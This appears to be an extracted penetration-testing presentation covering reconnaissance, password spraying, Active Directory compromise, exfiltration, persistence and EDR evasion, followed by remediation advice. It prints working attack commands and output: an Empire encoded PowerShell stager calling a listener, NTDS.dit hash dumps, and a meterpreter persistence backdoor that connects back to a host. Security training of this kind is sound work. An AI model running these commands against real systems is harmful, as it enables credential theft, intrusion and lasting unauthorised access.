|   mail.microsoft.com - 157.58.197.10  
|   mail2.microsoft.com - 131.107.115.215  
|   ftp.microsoft.com - 134.170.188.232  
|   mail3.microsoft.com - 131.107.115.214  
|   demo.microsoft.com - 65.55.39.10  
|   demo.microsoft.com - 64.4.6.100  
|   dev.microsoft.com - 104.87.22.205  
|   owa.microsoft.com - 131.107.0.91  
|   owa.microsoft.com - 131.107.1.90  
|   owa.microsoft.com - 131.107.1.89  
|   owa.microsoft.com - 131.107.1.91  
|   alerts.microsoft.com - 65.55.206.154  
|   manage.microsoft.com - 134.170.168.254  
|   help.microsoft.com - 40.127.139.224  
|   helpdesk.microsoft.com - 191.239.7.31  
|   home.microsoft.com - 40.127.139.224  
|   mobile.microsoft.com - 65.55.186.235  
|   shop.microsoft.com - 23.96.52.53
```

# Masscan

65536 UNVERIFIED HOSTS (A LARGE TARGETS ASN)

Tool	Time to run	Found
<div>masscan</div> <div><p>masscan</p><p>-p1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,131,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105,2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3651,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000,5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5955,5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593,9595,9618,9666,9676-9678,9698,9900,9917,9929,9943,9944,9969,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389,280,4567,7001,8008,9080 -iL \$TARGET_LIST --max-rate 100000 -oG \$TARGET_OUTPUT</p></div>	11m4.164s	196
nmap	∞	zzz

JASON HADDIX – Bug Bounty Hunter Methodology  
Discovery (Expanding your scope like a boss)

# XPROBE

```
root@kali:~#  
root@kali:~# xprobe2 192.168.1.132
```

```
[+] fingerprint:tcp_hshake Module execution aborted (no open TCP ports known)  
[-] fingerprint:smb need either TCP port 139 or 445 to run  
[-] fingerprint:snmp: need UDP port 161 open  
[+] Primary guess:  
[+] Host 192.168.1.132 Running OS: "Linux Kernel 2.6.11" (Guess probability: 95%)  
[+] Other guesses:  
[+] Host 192.168.1.132 Running OS: "Linux Kernel 2.4.28" (Guess probability: 95%)  
[+] Host 192.168.1.132 Running OS: "Linux Kernel 2.4.38" (Guess probability: 95%)  
[+] Host 192.168.1.132 Running OS: "Linux Kernel 2.4.22" (Guess probability: 95%)  
[+] Host 192.168.1.132 Running OS: "Linux Kernel 2.4.28" (Guess probability: 95%)  
[+] Host 192.168.1.132 Running OS: "Linux Kernel 2.4.24" (Guess probability: 95%)
```

# P0f

```
root@kali:~# p0f -i eth0 -p -o /tmp/p0f4.log  
--- p0f 3.09b by Michal Zalewski <lcantuf@coredump.cx> --
```

```
[+] Closed 1 file descriptor.  
[+] Loaded 322 signatures from '/etc/p0f/p0f.fp'.  
[+] Intercepting traffic on interface 'eth0'.  
[+] Default packet filtering configured [+VLAN].  
[+] Log file '/tmp/p0f4.log' opened for writing.  
[+] Entered main event loop.
```

```
C:\Users\... > C:\Users\... \Desktop\nc11int\nc.exe 192.168.1.133 1300
```

```
tset  
akjahdkahdkajhd  
djksadhaiksdhkdjashdkao  
jkhsdfksjrowrywyiurywurw  
djajdlaiaakldjka  
asdhasldhakdhajkd
```

```
ksa,jdhas jkdhaks,jdh  
dsjakdhakhdas jkdhak
```


```
.-[ 192.168.1.135/1090 -> 192.168.1.133/1300 (syn) ]-
```

```
client    = 192.168.1.135/1090  
os        = Windows 7 or 8  
dist      = 0  
params    = none  
raw_sig    = 4:128+0:0:1460:8192,8:mss,nop,ws,nop,nop,sok:df,i
```




# Directory Enumeration

	Dirble	Dirb	Dirsearch	Gobuster
Cookies	✓	✓	✓	✗
Custom headers	✓	✓	✓	✗
Extensions	✓	✓	✓	✓
HTTP basic auth	✓	✓	✗	✓
Listable directory optimisation	✓	✓	✗	✗
Listable directory scraping	✓	✗	✗	✗
Output file	✓	✓	✓	✓
Proxy	✓	✓	✓	✓
Recursion	✓	✓	✓	✗
Speed	✓	✓	✗	✓
Status code blacklisting	✓	✓	✓	✗
Status code whitelisting	✓	✗	✗	✓
Threading	✓	✗	✓	✓
Throttle	✓	✓	✓	✗
Tune not found based on size/redirection	✓	✓	✗	✗
URL list	✓	✗	✓	✗
User agents	✓	✓	✓	✓




<https://github.com/nccgroup/dirble>

# Automation is the key























- Evolve is the world's first dedicated Security Automation platform
- Passive solution
- offers the Evolve Marketplace with over 350 specialist security automation workflows
- Combination of automated reconnaissance and active attacks with intelligent and safe exploitation against your publicly accessible infrastructure
- Automatically collect and generate intelligence about your organisation, employees and systems that are being used by attackers to compromise your organisation
- Finds out exposed services and corresponding exploits
- Minimises the time it takes to detect critical risks and security weaknesses

# Password Leaks



- Stolen usernames and passwords leaked on the internet are the leading way companies are hacked.
- Sites get owned every now and then
- 1.4 Billion passwords got leaked as part of Collection #1
- There are heaps of password leak services available online
- Attackers sell these information on Dark Web or on torrent site for really cheap price
- Over the past year the size of password dump is getting bigger and bigger
- One should start using offline password manager as online password manager tends to have vulnerability quite often

Largest breaches		Recently added breaches	
	772,904,991 <a href="#">Collection #1 accounts</a>		15,453,048 <a href="#">Lumin PDF accounts</a>
	763,117,241 <a href="#">Verifications.io accounts</a>		4,606 <a href="#">KiwiFarms accounts</a>
	711,477,622 <a href="#">Onliner Spambot accounts</a>		396,533 <a href="#">Minehut accounts</a>
	593,427,119 <a href="#">Exploit.In accounts</a>		95,431 <a href="#">Void.to accounts</a>
	457,962,538 <a href="#">Anti Public Combo List accounts</a>		36,395,491 <a href="#">Poshmark accounts</a>
	393,430,309 <a href="#">River City Media Spam List accounts</a>		89,388 <a href="#">Mastercard Priceless Specials accounts</a>
	359,420,698 <a href="#">MySpace accounts</a>		561,991 <a href="#">XKCD accounts</a>
	234,842,089 <a href="#">NetEase accounts</a>		478,824 <a href="#">Coinmama accounts</a>
	164,611,595 <a href="#">LinkedIn accounts</a>		39,721,127 <a href="#">Chegg accounts</a>
	161,749,950 <a href="#">Dribbble accounts</a>		749,161 <a href="#">Cracked.to accounts</a>



# Automated Compromised Account Monitoring

- Monitors over **700 Billion** compromised accounts from thousands of security breaches from over the past decade
- Evolve automatically monitors compromised personal and corporate accounts
- Notifies about the breach via email

# Compromise Account Search

The screenshot shows the Evolve Threat Intelligence console interface. A modal window titled 'Compromise Account Search' is open, displaying details for three security breaches. The background shows the 'Service Instances' section with a table containing one entry: 'Enterprise\_Compromise 0.0'.

**Security Breach - linkedin.com**

In May 2016, a breach containing 164 million LinkedIn accounts and passwords surfaced. The site was originally compromised in 2012. The passwords were stored as SHA1 hashes without salt, thus the vast majority have been cracked.

Monitored Account	Compromised Password
example@example1.com	p*****d

**Security Breach - Collection #5**

In January 2019, a large collection of credentials was leaked on a popular hacking forum. The breach was made up of five collections and contains several billion email addresses and passwords. The fifth collection is commonly referred to as Collection #5.


Monitored Account	Compromised Password
alan@example1.com	6*****9
alex@example1.com	n*****2
bess_fi25@example1.com	n*****u
example1@example1.com	s*****1
name@example1.com	q*****p
none@example1.com	c****r
testuser1@example1.com	t*****2
user@example1.com	1*****n

**Security Breach - BreachCompilation**

In December 2017, a combo list surfaced which is commonly referred to as the Breach Compilation. The list contains over 1.4 billion records leaking email addresses and plain text passwords.

- Every time the compromised account details is detected for the setup service Evolve will send an automated emails notifying an end users
- <https://www.youtube.com/watch?v=lnK1ylqU2EE>


# Administrative Portals



WordPress login form. It features the WordPress logo at the top. Below it, there are two input fields: "Username or Email" and "Password". A "Remember Me" checkbox is located below the password field. A blue "Log In" button is positioned to the right of the password field. At the bottom, there is a link for "Lost your password?" and a link to "Back to My Blog".




Sitecore login form. It features the Sitecore logo at the top. Below it, there is a large heading "Welcome to Sitecore". Underneath, there are two input fields: "User name:" and "Password:". A "Remember me" checkbox is located below the password field. A blue "Login" button is positioned below the password field. At the bottom, there are two links: "Forgot Your Password" and "Change Password".



Dark-themed administrative portal. It features a dark blue background. At the top, there is a copyright notice: "Copyright © 2014. All rights reserved." and a link "Comments/Suggestions". Below this, there are several links: "The Reg...", "Site Map", "Work Requests", "Disclaimer | Supported Browsers", "Admin Portal", and "USA - Contact Us". There are also several redacted areas (blacked out) and a "Log In" button.



phpMyAdmin login form. It features the phpMyAdmin logo at the top. Below it, there is a heading "Welcome to phpMyAdmin". Underneath, there is a "Language" dropdown menu set to "English". A "Log In" button is positioned to the right of the language dropdown. Below this, there are two input fields: "Username:" and "Password:". A "Go" button is positioned to the right of the password field.




Sign in with your Firm credentials. It features a heading "Sign in with your Firm credentials". Below it, there are two input fields: "Email" and "Password". A "Forgotten Password?" link is located to the right of the password field. Below the input fields, there is a paragraph: "By clicking Sign In, you are agreeing to our Privacy Policy and Terms and Conditions". At the bottom, there are two buttons: "Sign in" and "Clear".



Jenkins login form. It features the Jenkins logo at the top. Below it, there is a heading "Jenkins". Underneath, there are two input fields: "User:" and "Password:". A "Remember me on this computer" checkbox is located below the password field. A blue "log In" button is positioned below the checkbox.

# What do we know about a target so far?

- Office and Organisation culture
- Potential employees
- Admin, VPN & Email portals exposed to the Internet
- Most of the sub-domains
- Username patterns
- Brief idea about password policy



# Password Spraying

- Mail Snipper

```
PS C:\temp> Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
[*] Using .\users.txt as userlist to spray with
[*] Warning: Users will not be checked for lockout threshold.
[*] The domain password policy observation window is set to 30 minutes.
[*] Setting a 30 minute wait in between sprays.

Confirm Password Spray
Are you sure you want to perform a password spray against 7 accounts?
[Y] Yes [N] No [?] Help (default is "Y"): y
[*] Password spraying has begun with 1 passwords
[*] This might take a while depending on the total number of users
[*] Now trying password 123456 against 7 users. Current time is 9:28 PM
[*] Writing successes to
[*] SUCCESS! User:Administrator Password:123456
[*] SUCCESS! User:spot Password:123456
[*] SUCCESS! User:spotless Password:123456
[*] Password spraying is complete
```

- Atomizer

```
ddos@DESKTOP-NT4IE63:~/SprayingToolkit$ python3 atomizer.py -h
Usage:
  atomizer (lync|owa) <domain> <password> --userfile USERFILE [--threads THREADS] [--debug]
  atomizer (lync|owa) <domain> --recon [--debug]
  atomizer -h | --help
  atomizer -v | --version

Arguments:
  domain      target domain
  password    password to spray

Options:
  -h, --help            show this screen
  -v, --version          show version
  -u, --userfile USERFILE file containing usernames (one per line)
  -t, --threads THREADS number of concurrent threads to use [default: 3]
  -d, --debug            enable debug output
  --recon               only collect info, don't password spray
```



Other tools: Metasploit, BurpSuite

# Common Misconfiguration

- Lack of two factor authentication (2FA)
- Administrative portals exposed to the Internet
- Weak P@ssw0rd policy
- Default Passwords
- Weak Egress Filtering

# Internal Pentest

# Living of the Land (LoTL)

- Making use of already installed applications and tools on the compromised hosts to perform malicious activities
- Using such method attacker does not need to create new files on the disk and hence avoiding the detection by hiding in a sea of legitimate processes.
- **LOLBAS** – LOLBAS is a curated list of Living Off The Land Binaries and Scripts.
  - <https://github.com/LOLBAS-Project/LOLBAS-Project.github.io>
  - <https://lolbas-project.github.io/#>



# Reconnaissance


- systeminfo
- net view
- net view /domain
- tasklist /v
- gpresult /z
- netstat -nao
- ipconfig /all
- arp -a
- net share
- dir  
%userprofile%\Desktop\\*.\*
- net use
- net user administrator
- net user /domain
- net user administrator /domain
- tasklist /fi
- dir %systemdrive%\Users\\*.\*
- dir  
%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\\*.\*
- reg query  
"HKCU\SOFTWARE\Microsoft\Windows\
- hostname
- whoami
- winver
- ipconfig -all
- ping www.google.com
- query user
- net user
- net view /domain
- CurrentVersion\Internet Settings\
- tasklist /svc
- netstat -ano | find \TCP\

# Lateral Movement

- Pwdump
- Procdump
- Tasklist
- Taskkill
- RDP
- PsExec
- PowerShell
- SMB
- Net share



# BloodHound/SharpHound



- BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment.
- <https://github.com/BloodHoundAD/BloodHound>
  - \$ apt-get install bloodhound
  - \$ neo4j console
  - \$ bloodhound
- How to access BloodHound GUI?
  - Database URL – **bolt://127.0.0.1:7687**
  - Username – **neo4j**
  - Password – **your password**

Six Degrees of Domain Admin : <https://www.youtube.com/watch?v=lx22rerVsLo>

# DeathStar

```
(Empire: agents) > listeners
[*] Active listeners:

  Name      Module  Host                                Delay/Jitter  KillDate
  ----      -
DeathStar   http    https://192.168.10.3:7654          5/0.0

(Empire: listeners) > launcher powershell DeathStar
powershell -noP -w 1 -enc WwBSAEUAZgBdAC4AQ0BTAFMAZQBtAGlAbAB5AC4ARwBFaHQAVABZAFARQAcACcAUwBSAHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQ0B1AHQABwBtAG
AEkAZQBzAGQAKAAAGAEAbQBzAGkASQBwAGkAdABGAGEAaQBzAGUAZAAACwAJwB0AG8AbgBQAUAUYgBsAGkAYwAsAFMAAdABhAHQAaQBjACcAKQAUAFMAZQBtAFYAYQBMAFUARQAoACQABgB1AGwAbAAsA
NAGEAbgBhAGcAZQBzSAF0AQ0gA6AEUAwAQAEUAYwB0ADEAMAAMAEAMATwB0AFQASQB0AHUAZQA9ADAAQwAKAFcAQwA9AE4AZQB3AC0ATwBiAEoAZQBDAHQAIABTAFkAcwB0AGUATQAuAE4AZQB0UAC4AVwB1
AgAE4AVAAgADYALgAXADsAIABXAEBAVwA2ADQADwAgAFQACgBpAGQAZQBwAHQALwA3AC4AMAA7ACAAcG0B2ADoAMQAXAC4AMAApACABABABpAGsAZQAcAEcAZQBjJAGsAbwAnADsAMwBTAAHkAcwB0AGUAbQA
gBDAQUAcG0BAGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgB0DAGEABbABsAGlAY0BjJAGsAIAR9ACAAewAKAHQAcG0B1AGUAF0A7ACQAdwBjAC4ASAB1AGEARABFAFI AUwAuAEEAZABEACgAJw
bQAUAE4AR0BUAC4AVwB1AEIAUgBF AHEAVQBFAHMAAdABdADoADoBEAEUAZgBBAFUATAB0AFcAZ0BCAFAAUgBvAFgAJwA7ACQAVwB0DCA4AUABgAE8AEAB5AC4AQwBSAGUARBFAg4AdABpAGEATABzACAAp
ARQBMAGEAVQBsAHQATgB1AFQAdwBPATIASwBDAFIARQBEAGUAbgB0AEkAYQBMAFMAQwAKAEsAPQBBAFMAeQBzAHQARQBNAC4AVABFAFgAdAAUAEUATgBDAE8AZABJAE4AZwBdADoADoG8BAFMAQwBjAEkA
sAMABFAEoALgBzADIASAB1ADsAFAAACKADwAKAFIAPQB7ACQARRAsACQASwA9ACQACQABgACAUwA7ACQAUwA9ADARALgAuADIANQA1ADsAMAAUAC4AMgA1ADUAFAA1AHsAJABKAD0AKAAKAEoAKwAKAFM
CwAJABTAFsAJABKAF0APQAKAFMAwAKAEoAXQASACQAUwBbACQAXwBdAAH0ADwAKAEQAfAA1AHsAJABJAD0AKAAKAEKAKwAKcAJQAUADUANGA7ACQASAA9ACgAJAB1ACsAJABTAFsAJABJAF0AKQAIAD
AFBALQBACAFgABwB0ACQAUwBbACgAJABTAFsAJABJAF0AKwAKAFMAwAKAEgAXQAPACUAMgA1ADYAXQB9AH0AQwAKAHcAYwAuAEgAZQBhAEQAQZQBSAHMALgBBAEQAZAAoACIAQwBvAG8AAwBpAGUAIgAsA
YAFoAUwBnAD0AIgAPADsAJABzAGUACgA9ACcAAAB0AH0ACABzADoALwAvADEAQ0QAUAC4AMQAR2ADgALgAXADARALgAZADoANwA2ADUANAANADsAJAB0AD0AJwAvAGEAZABtAGkAbgAvAGcAZQB0AC4AcABo
B0ACKADwAKAEKAdgA9ACQAZABhAFQAYQBbADARALgAuADMAXQA7ACQAZABBAFQAYQAR9ACQAZABhAFQAYQBbADQALgAuACQARABhAFQAQQAuAGwAZQB0AEcAdABoAF0AQ0wAtAGoATwBpAG4AMwBDAEgAYQB
(Empire: listeners) > █
```



- DeathStar is a Python script that uses Empire's RESTful API to automate gaining Domain Admin rights in Active Directory environments using a variety of techniques.
- DeathStar demonstrates that automating obtaining Domain Admin rights in an Active Directory environment is a clear possibility using existing open-source toolsets.

<https://github.com/byt3bl33d3r/DeathStar>

# GoFetch

- GoFetch is a tool to automatically exercise an attack plan generated by the [BloodHound](#) application.
- GoFetch first loads a path of local admin users and computers generated by BloodHound and converts it to its own attack plan format. Once the attack plan is ready, GoFetch advances towards the destination according to plan step by step, by successively applying remote code execution techniques and compromising credentials with Mimikatz.
- **GoFetch has two different versions:**
  - Chain reaction
  - One computer to rule them all
- <https://github.com/GoFetchAD/GoFetch>
  - <https://www.youtube.com/watch?v=5SpDAXUx7Uk&feature=youtu.be> (In action)
  - <https://www.youtube.com/watch?v=dPsLVE0R1Tg>



# AngryPuppy

- ANGRYPUPPY is a tool for the Cobalt Strike framework, designed to automatically parse and execute BloodHound attack paths.
- **ANGRYPUPPY - BloodHound Attack Automation in Cobalt Strike**
  - <https://www.youtube.com/watch?v=yxQ8Q8itZao>





# NTDS.DIT – NTLM Hashes

```
root@kali:~/Desktop/CrackMapExec-2.3# python crackmapexec.py 192.168.100.100 -u pc -p P@ssw@rd1 -d insecure.com -ntds drsuapi
10-09-2016 16:17:25 SMB 192.168.100.100:445 DC1 [*] Windows 6.3 Build 9600 (name:DC1) (domain:insecure.com)
10-09-2016 16:17:25 SMB 192.168.100.100:445 DC1 [*] Login successful insecure.com\pc:P@ssw@rd1
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 [*] Dumping NTDS.dit secrets using the DRSUAPI method (domain\uid:rid:lmhash:nthash)
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8a3285d68f94aee117b5d46c7df03d59:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 insecure.com\pc:1104:aad3b435b51404eeaad3b435b51404ee:ae974876d974abd805a989ebad86846:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 insecure.com\victimone:1106:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 insecure.com\victimtwo:1107:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 insecure.com\victimthree:1108:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 insecure.com\victimfour:1109:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 DC1$:1001:aad3b435b51404eeaad3b435b51404ee:d9f9acf6762223ed2e9c9ca7dcf73900:::
10-09-2016 16:17:26 SMB 192.168.100.100:445 DC1 VICTIM1$:1105:aad3b435b51404eeaad3b435b51404ee:f76417022ce4cc0f03824ebad31e50d5:::
```

```
root@kali:~/impacket/examples# python secretdump.py -ntds /root/Desktop/AD-Files/ntds.dit -system /root/Desktop/AD-Files/SYSTEM -outputfile result local
Impacket v0.9.16-dev - Copyright 2002-2016 Core Security Technologies
```

```
[*] Target system bootKey: 0xe9f18e7515918d04695f1926b3e743d
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 08b73df6cc1ba0f81d2c52401a760087
[*] Reading and decrypting hashes from /root/Desktop/AD-Files/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC1$:1001:aad3b435b51404eeaad3b435b51404ee:bb9aefb7e3259c586be23f0f267d53e12:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8a3285d68f94aee117b5d46c7df03d59:::
insecure.com\pc:1104:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
VICTIM1$:1105:aad3b435b51404eeaad3b435b51404ee:f76417022ce4cc0f03824ebad31e50d5:::
[*] Kerberos keys from /root/Desktop/AD-Files/ntds.dit
DC1$:aes256-cts-hmac-sha1-96:f22631b5d8c832b79e01a5129b3bc7728afd2551d01e4524e99425e4dd8294a8
DC1$:aes128-cts-hmac-sha1-96:1ca28dd0b37481e189afe6922610a3092
DC1$:des-cbc-md5:6e16bc51e0aed668
krbtgt:aes256-cts-hmac-sha1-96:6d7b4de7861f52932ded4f73246e6ba25746ca43d7838f3a1c93dddl018e7815
krbtgt:aes128-cts-hmac-sha1-96:dd8a8cd116ae56cbb164856fc8aee13f
krbtgt:des-cbc-md5:fb5df8d3d56dec5d
insecure.com\pc:aes256-cts-hmac-sha1-96:3b10052f0ecd40ff886a00daa4806e00200e0c739cbcc0c80605f112005bc70
insecure.com\pc:aes128-cts-hmac-sha1-96:afcf1f552c19a9648fd5feee059c32c3
insecure.com\pc:des-cbc-md5:91d673ef66e5e32f7
VICTIM1$:aes256-cts-hmac-sha1-96:3d9aca93439ad3c707d50f4414abacd91935269e54305201745751e4a89e67fd
VICTIM1$:aes128-cts-hmac-sha1-96:e66b48be8f8ebc9c9c2d1715ffa72be1
VICTIM1$:des-cbc-md5:a8d93e31d9e53208
[*] Cleaning up...
```

# Exfiltration

- FTP
- 7zip / WinRAR encrypted files
- Telnet
- WinSCP
- wget
- SSH
- Exposing local server to the Internet
- Curl
- SMB
- Using highly trusted domains such Gmail, GitHub, Twitter etc as command & Control server to perform exfiltration

# Persistence Mechanism

- Bitsadmin
- AT
- SC
- COM object Hijacking
- Task Scheduler

```
meterpreter > run persistence -h
meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:
  -A Automatically start a matching exploit/multi/handler to connect to the agent
  -L <opt> Location in target host to write payload to, if none %TEMP% will be used.
  -P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
  -S Automatically start the agent on boot as a service (with SYSTEM privileges)
  -T <opt> Alternate executable template to use
  -U Automatically start the agent when the User logs on
  -X Automatically start the agent when the system boots
  -h This help menu
  -i <opt> The interval in seconds between each connection attempt
  -p <opt> The port on which the system running Metasploit is listening
  -r <opt> The IP of the system running Metasploit listening for the connect back
```

```
meterpreter > run persistence -X -p 8081 -r 192.168.1.133 -i 5
```

```
Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cUNbqzoACMfGiZM
Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cUNbqzoACMfGiZM
```

# Bypasses for Next-Gen EDR/AV Solutions

- Does your EDR solution have tamper protection?
- Check folder permissions and see if you can take advantage of any misconfiguration

```
TAKEOWN [/S system [/U username [/P [password]]]  
        /F filename [/A] [/R [/D prompt]]  
  
Description:  
  This tool allows an administrator to recover access to a file that  
  was denied by re-assigning file ownership.
```

- Modify, Disable or Delete files related to EDR solutions and agent will not be able to talk the collection server
- Look for registry key values related to particular EDR solution
- DerbyCon 2019 - Testing Endpoint Protection How Anyone Can Bypass Next Gen AV by Kevin Gennuso

<https://www.youtube.com/watch?v=LDG0fv8HcCU>

# Remediation – External Perimeter

- Have MFA on every single portal exposed to the Internet (O365, OWA, VPN, MDM and Citrix)
- Do not share seed files with the users
- Do not expose the Administrative portals to the Internet (VPN and Whitelist IPs)
- Make sure there are no holes in the Firewall (Do not expose SMB to the Internet)
- Improve password policy

# Remediation – Internal Infrastructure

- Application Whitelisting – Software Restriction Policies
- Disable LLMNR & NBT-NS (Responder, Inveigh & Metasploit)
- Lack of Network Segmentation
- Identify and map digital assets, including data, systems, and applications, across the business value chain.

**THIS IS THE END OF THE  
PRESENTATION**



**THANK YOU**